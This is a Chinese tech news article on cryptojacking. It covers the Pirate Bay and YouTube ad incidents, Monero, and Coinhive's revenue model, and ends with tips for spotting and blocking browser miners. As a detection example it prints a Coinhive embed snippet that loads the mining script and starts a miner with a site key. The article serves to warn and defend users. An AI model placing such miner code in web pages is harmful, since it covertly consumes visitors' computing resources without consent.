你的电脑正在帮人挖币致富?小心别成为挖矿劫持的受害者……

2018 年 1 月 31 日 PingWest品玩 光谱

转载声明:本文转载自「硅星人」,搜索「guixingren123」即可关注。

一种最新劫持技术,可能已侵入你的电脑

与传统黑客不同,Cryptojacking 瞄准你电脑闲置的资源

不经意间,你已成为了别人的矿工

他们赚到的钱,却不会有你一分一毫


2017 年 9 月,有人在盗版下载种子站“海盗湾”(The Pirate Bay) 上发现了数字加密货币的挖矿程序。当用户访问海盗湾的网页时,他们的电脑实际上成为了矿机,挖掘着一种名叫 Monero 的数字货币。

此事发酵后,海盗湾的管理员出面认了罪。他们指出,网站需要生存,他们在“测试”这种新的收入方式,因为网站上堆积如山的广告已经备受诟病。

这种劫持事件,在过去一年里曾经多次发生。遗憾的是,并非每次都有人出来认错。

就在这周,有人报告称,居然在 YouTube 的网页上发现了同样的挖矿程序……这次问题出在了广告上。在 YouTube 网页的右上角位置,视频播放控件的右侧、推荐视频的上方,展示的是来自于 Google DoubleClick 广告平台的广告。涉事的广告上没有内容,一片空白,显得十分蹊跷。

调查后研究人员发现,这个广告里的 JavaScript 代码里,包含了一段挖矿脚本。

至于这次 YouTube 事件里,挖的又是哪款数字货币呢?很巧,又是 Monero。

这种劫持技术,被安全专家称为

Cryptojacking


首先我们来了解一下,Cryptojacking 到底是什么东西

Cryptojacking

=

Cryptocurrency(数字加密货币)

+ Hijacking(劫持)

它的字面意义是劫持数字货币,实际意义则是劫持用户的设备,利用 CPU 或其他处理器进行挖矿,因而可以叫做:挖矿劫持。

它的定义:在受害者不知情的前提下,使用受害者的计算设备来挖取数字货币。

很多流行的数字货币,比如比特币 (BTC)、以太坊 (ETH) 等,在市场上都有着较高的价值。但它们本质上只是符合某种特定数学公式或规律的字段,发现它需要使用计算资源,也就有了所谓的“挖矿”。如果购买市面上已经挖出的数字货币需要付钱,挖出新的数字货币则可以称得上凭空印钞。

但挖矿并不是一件容易的事。按照原始设计,符合某个特定规律的字段数量是有限的,意味着可以挖出的数字货币也是有限的。谁有更多的算力,囤积了更多的 CPU、GPU,谁才能更快挖出更多数字货币。而问题在于,不是每个人都拥有一座位于偏远山区享受廉价电费的“矿场”。

这也是为什么一些别有用心之人想出了挖矿劫持这个主意:让挖矿变成一个众包的任务,用网页偷跑挖矿程序,每个中招的人都贡献一点 CPU,不就成了自己的矿场。

Cryptojacking 能够实现的原因在于:它可能只是一段,一行或几行 JavaScript 代码。

而几乎所有的网站网页都有 JavaScript 代码,它们在你打开网页后自动静默运行,没有提示,不需要安装,更不需要你的同意。

一旦中招,普通的用户通常很难察觉——除非你平时一直开着任务管理器,发现 CPU 占用率突然升高,或者你的电脑有风扇,突然开始狂转,才可能发现蹊跷。

应用内劫持也是一种挖矿劫持方法,包括并不限于桌面软件和手机应用。比如,有研究者发现,在 Google Play 上有不少下载量过百万的 App 内包含挖矿劫持。

由于 JavaScript 的通用以及静默运行的特性,浏览器内挖矿劫持是目前最流行的挖矿劫持方式。2017 年 11 月,安全研究员 Troy Mursch 分析了海量网站,发现全网已经有超过 30,000 个网站内已经被植入了挖矿劫持代码——包括网站本身被黑客劫持(像 YouTube),以及网站主有意为之(像海盗湾)。

如果你也发现了类似的网站,而且是你经常访问的网站——请考虑删除你的用户信息。因为 de Groot 还发现,这些网站中有八成本身就含有其他的恶意代码/软件,可能窃取用户的付款信息。


了解了 Cryptojacking 的本质后,我们接下来分析:谁是挖矿劫持的幕后黑手?

硅星人(微信号:guixingren123)统计,包括海盗湾、YouTube 等在内的几次比较知名的挖矿劫持事件,涉事的数字货币都是 Monero (XMR)。

根据其网站,Monero(缩写 XMR)是一种安全、隐私和无法追踪的数字加密货币,开源,并且任何人都可以获取和使用。

按照美元对价计算的市值,XMR 在所有数字货币中排名第 13。本周,暗网领先的电商网站 Dream Market 已经全面启用 XMR 作为推荐的支付方式。其网站还提到,通过 XMR 进行的交易都将完全保密,外界无法查看。正是由于隐私和无法追踪的特性,XMR 才备受挖矿劫持者的青睐。

看完了数字货币,我们再来看实现路径。

安全研究员指出,在绝大多数挖矿劫持事件中,都能发现来自 Coinhive 的代码。

如果你一定要给 Coinhive 一个中立的、技术的定义:它是一个分布式挖矿服务的供应商。但大部分计算机安全人士都认为 Coinhive 是一种恶意软件 (malware)。

计安分析机构 Trend Micro 在去年 11 月将 Coinhive 评为全球第六大恶意软件。发生在去年 9 月的海盗湾事件,正值 Coinhive 正式推出第一代分布式数字货币挖掘服务(以下简称 Coinhive),也成为了它的成名之作。

然而最初,Coinhive 的开发者声称的作用,却是为网站主创收。网页中植入 Coinhive 代码,访客打开网页后,每秒可以进行 20 或更多次哈希计算。越多访客访问网页,挖到的 XMR 越多,为网站主带来更多的收入,取代在线广告存在的地位。

Coinhive 的网站上明确写下了一些文字,简单来说:如果植入的只是个人网站,每天流量极小的话,那么为网站主带来的收入只会是微乎其微的,网站必须有“可观”的用户量才会产生靠谱的收入;另外,这些植入了脚本的网页,在用户的浏览器中打开时间越长,挖矿的总体效果越好。

脑筋活络的黑客盯上 YouTube 的原因也正是在此:YouTube 每天都有着数以亿计的访问量,且一个视频时长几分钟到数十分钟。YouTube 用户停留在网页上的时间,远比用户浏览一个电商产品页面或者新闻网站、博客页面要长,挖矿的效果要好得多。

在这起事件中,广告中的 JavaScript 代码植入了 Coinhive 挖矿指令,这些广告被喂给了日本、法国、意大利、西班牙和台湾等国家和地区的用户,尽管不是全平台,而且不是这些国家所有用户都有机会看到,但访问量仍十分惊人。

相信黑客做过计算,最后通过挖矿得到的收入,能够弥补投放这些广告的支出……抑或他只是想玩票,试一下这样做的可行性。挖矿得出的 XMR,Coinhive 抽三成,网站主得七成。据估算,如果网站有 10-20 个“活跃用户”,不停地挖一个月,网站主的月收入也才 0.3 个 XMR,或约 100 美元。

总的来说,通过植入挖矿劫持代码营收,对于网站主来说风险高,收益也没想象的那么多。小网站主赚不到钱,大网站主做了一旦被发现面临着信任破产用户流失,不是一件经济的事。独立开发者 Maxence Cornet 曾经做过一个测试,一个日均 1000 独立访客,每人每 session 50 秒左右的网站,在 60 个小时内产生了 0.00947 个 XMR,折合每天 36 美分,连一个汉堡都买不了。

但对于 Coinhive 来说,每个网站主的每个网页都可以抽三成,如果真的有 30,000 个网站,甚至更多的网站的海量网页在挖矿,为 Coinhive 开发者带来的收入倒是十分可观。

也就是说,挖矿劫持整件事,压根和为用户创收没有关系,更像是 Coinhive 编造,伪装在奖励网站主的外衣下,实际上动用数万个奴隶主从更多奴隶的身上赚钱的谎言。

安全研究员 Troy Mursch 指出,Coinhive 已经成为了网络犯罪分子的最新收入来源,“我觉得 Coinhive 当真是个挺不错的主义。它本来应该是一种网站营利的新方式。但现在,我们可以看到它已经被滥用了。这就是恶意软件。”


如果你关注数字货币和区块链,可能经常访问国内外相关的交易所、资讯新闻站、新币发行网站等等。事实上,身为所谓的“币圈”、“链圈”人士的你,正是挖矿劫持最有可能的潜在受害者。

既然挖矿劫持是一件坏事,既然 Coinhive 是一款恶意软件,接下来的问题很显然:我们该怎样防范它?

硅星人(微信号:guixingren123)为你带来以下几种方法:

01

风扇狂转

显然,风扇转速暴增是 CPU 利用率提高的一个表象。如果你的风扇突然狂转,可以继续↓

查看 CPU 利用率

02

观察 CPU 占用是发现潜在挖矿劫持最容易的方法。在 PC 上打开任务管理器,点击性能;在 Mac 上打开自带的活动监视器 (Activity Tracker),就可以看到 CPU 占用情况了。

如果某个浏览器/浏览器标签占用了大量 CPU,而你清楚没有打开一个很重型的网页,那么你可能中招了。但有的脚本不会将 CPU 推到太高,比如{throttle: 0.5},其中 0.5 即为 CPU 占用率,此时观察就不管用了。

如果你不确定是否遭遇了挖矿劫持,请继续下一步检查↓

03

查找相应代码

采用 Coinhive 服务进行挖矿劫持的网页,会留下清晰的脚印。如果在一个正常的网站的网页里找到了 Coinhive 的字样,这个网站八成有鬼。

代码可能长得像下面这样:

<script src="https://coin-hive.com/lib/coinhive.min.js">
</script>
 
<script>
var miner = new CoinHive.Anonymous('B4ShXfNHJy3nEDclHBuc5i2bKJ3Sok8P');
miner.start();
</script>

你也可能会遇到脚本来源不是 Coinhive 的情况,所以也可以观察会不会有

B4ShXfNHJy3nEDclHBuc5i2bKJ3Sok8P

类似这么一段字段出现。这就是钱包的地址了。

当然,也不是所有做了挖矿劫持得网站都是坏人。有些良心尚存的网站会弹出明显的提示,告诉你网站植入了代码,问你是否同意,如果不同意即不执行,如下:

一旦你确定了挖矿劫持的存在,你可以选择拒绝执行,或者不再继续访问这个网站。但如果你想要确保今后不会再中招,可以↓

安装挖矿劫持隔离插件

04

主流浏览器如 Chrome、Firefox 的插件平台上都已经有了隔离器,如 No Coin、minerBlock 等。这些插件可以屏蔽 Coinhive 等目前已知的挖矿脚本来源的域名,理论上不影响你所浏览网页的其他功能。

05

时刻保持警惕

自从首个挖矿劫持脚本出现,已经有很多网站沦陷了,其中不乏知名网站和大公司的官网。除了海盗湾,还有星巴克 (Starbucks.com)、无限制格斗 (UFC.com) 等,就连 YouTube 都因为 Google 广告平台的漏洞而失守。

你需要保持警惕,因为任何一个网站都可能被利用。


长按二维码关注“硅星人”,

让你看到最不一样的硅谷!

登录查看更多
0

相关内容

【2020新书】实战R语言4,323页pdf
专知会员服务
100+阅读 · 2020年7月1日
【强化学习】深度强化学习初学者指南
专知会员服务
179+阅读 · 2019年12月14日
【BAAI|2019】用深度学习模拟原子间势,王涵  (附pdf)
专知会员服务
17+阅读 · 2019年11月21日
【电子书】Flutter实战305页PDF免费下载
专知会员服务
22+阅读 · 2019年11月7日
物理学家终于找到了一种拯救薛定谔猫的方法
中科院物理所
8+阅读 · 2019年6月10日
ZigBee 网络安全攻防
计算机与网络安全
13+阅读 · 2019年4月15日
Linux挖矿病毒的清除与分析
FreeBuf
14+阅读 · 2019年4月15日
基于Web页面验证码机制漏洞的检测
FreeBuf
7+阅读 · 2019年3月15日
当你的头出现在A片演员的身体上
PingWest品玩
6+阅读 · 2019年1月6日
一万小时贫穷定律
互联网er的早读课
5+阅读 · 2018年8月22日
这位程序员为什么要弃用Facebook?
CSDN
5+阅读 · 2017年7月14日
Talking-Heads Attention
Arxiv
15+阅读 · 2020年3月5日
Arxiv
6+阅读 · 2019年8月22日
Arxiv
5+阅读 · 2018年5月5日
Arxiv
3+阅读 · 2017年10月1日
VIP会员
相关资讯
物理学家终于找到了一种拯救薛定谔猫的方法
中科院物理所
8+阅读 · 2019年6月10日
ZigBee 网络安全攻防
计算机与网络安全
13+阅读 · 2019年4月15日
Linux挖矿病毒的清除与分析
FreeBuf
14+阅读 · 2019年4月15日
基于Web页面验证码机制漏洞的检测
FreeBuf
7+阅读 · 2019年3月15日
当你的头出现在A片演员的身体上
PingWest品玩
6+阅读 · 2019年1月6日
一万小时贫穷定律
互联网er的早读课
5+阅读 · 2018年8月22日
这位程序员为什么要弃用Facebook?
CSDN
5+阅读 · 2017年7月14日
Top
微信扫码咨询专知VIP会员